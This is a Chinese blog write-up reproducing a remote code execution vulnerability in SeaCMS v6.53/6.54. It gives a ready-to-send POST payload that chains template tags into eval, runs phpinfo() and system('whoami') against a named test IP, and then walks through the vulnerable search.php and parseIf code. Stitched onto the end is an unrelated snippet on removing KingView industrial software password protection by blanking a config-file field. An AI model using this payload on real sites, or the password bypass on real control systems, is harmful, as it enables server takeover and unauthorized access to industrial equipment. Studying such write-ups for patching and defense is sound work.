海洋cms v6.53 v6.54版本漏洞复现

参考

https://www.freebuf.com/vuls/150042.html
https://www.jianshu.com/p/a3a18f233184?tdsourcetag=s_pctim_aiomsg

cms首页地址为:http://139.155.1.64/seacms(v6.53)/upload/
漏洞存在地址为:http://139.155.1.64/seacms(v6.53)/upload/search.php
抓包发送已知的poc:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

得到php的当前信息,之后可执行任意命令:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

在这里插入图片描述
这是执行whoami命令得到的结果:在这里插入图片描述

现在来分析一下原因:
打开search.php分析源码:

在echoSearchPage() 函数里面可以看见这样一段代码

........
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));

$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));

$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));

$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));

$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));

$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));

$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));
.....  ... ...


function echoSearchPage()  
{
if(intval($searchtype)==5)
	{
		..... ...  ....... ..........
		$content = str_replace("{searchpage:type}",$tid,$content);
		$content = str_replace("{searchpage:typename}",$tname ,$content);
		$content = str_replace("{searchpage:year}",$year,$content);
		$content = str_replace("{searchpage:area}",$area,$content);
		$content = str_replace("{searchpage:letter}",$letter,$content);
		$content = str_replace("{searchpage:lang}",$yuyan,$content);
		$content = str_replace("{searchpage:jq}",$jq,$content);
		$content = str_replace("{searchpage:state}",$state2,$content);
		$content = str_replace("{searchpage:money}",$money2,$content);
		$content = str_replace("{searchpage:ver}",$ver,$content);
		.....  ......  ...........

removeXSS,addslashes函数对这些变量有限制,截取了前20个字节,即每个参数只能传入20个字节长度的限制

searchtype=5是高级搜索的入口,并且对{searchpage:type},{searchpage:area}…等变量都进行了替换;替换成对应的变量,但是这些变量是我们可以控制输入的,因此,漏洞产生;

	$content=replaceCurrentTypeId($content,-444);
	$content=$mainClassObj->parseIf($content);
	$content=str_replace("{seacms:member}",front_member(),$content);
	$searchPageStr = $content;
	echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;

这段代码是将content的值传给/main.class.php
然后到/main.class.php里面去看看:
parseIf函数将content变量传入,并且content里面必须要存在{if:
虽然有很多条件,但都存在着命令执行函数eval

现在分析POC:
首先searchtype=5是进入高级搜索的条件,然后searchword是我们的content:

将{searchpage:year}换成$year,

{searchpage:letter}换成$letter;

{searchpage:lang}换成$yuyan;

{searchpage:jq}换成$jq;

{searchpage:ver}换成$ver;

再在后面补充各个变量的值,所以以上的POC实际上是:

所以以上的POC实际上是:

 searchtype=5&searchword={if:eval(join($_POST[9]))}&9[]=ph&9[]=pinfo();

利用base64_decode的数组漏洞将9[]=真正的命令传入
在/main.class.php里面,传入的content里面含有{if:,所以返回eval,并且执行命令;


	function parseIf($content){
		if (strpos($content,'{if:')=== false){
		return $content;
		}else{
		....
		@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

所以最终执行的是:
@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
组态王是一种用于工业自动化领域的软件,它可以进行工业设备的监控和控制。然而,由于某些原因,有时候我们可能需要绕过组态王的密码保护,进行一些设备配置的修改或其他操作。 在解决这个问题的过程中,我们可以尝试以下步骤来去除组态王的密码保护: 1. 找到并打开组态王软件。 2. 在登录界面,输入密码。如果您忘记了密码,可以尝试几个常用的默认密码,比如:admin, 123456等。如果仍然无法登录,我们可以继续下一步。 3. 找到组态王软件的安装目录。一般默认安装在C盘的Program Files或Program Files (x86)文件夹下。 4. 在组态王的安装目录中找到一个名为"cfgKingServer.cfg"的文件。这是用于存储密码信息的配置文件。 5. 将该文件备份到其他安全的位置,以防止丢失数据。 6. 用文本编辑器打开"cfgKingServer.cfg"文件。 7. 在文件中查找并找到类似"m_strPwd=xxxxxxx"的一行,"xxxxxxx"代表的就是密码。将其替换为一个空值。 8. 保存文件并关闭文本编辑器。 9. 重新打开组态王软件并尝试登录。此时应该可以成功登录而无需输入密码。 需要提醒的是,去除组态王的密码保护是因特殊原因而进行的操作,请确保您有相关的权限和合法的使用目的。此外,操作过程可能因软件版本不同而略有差异,请在操作前仔细阅读软件的说明文档或寻求相关技术支持的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值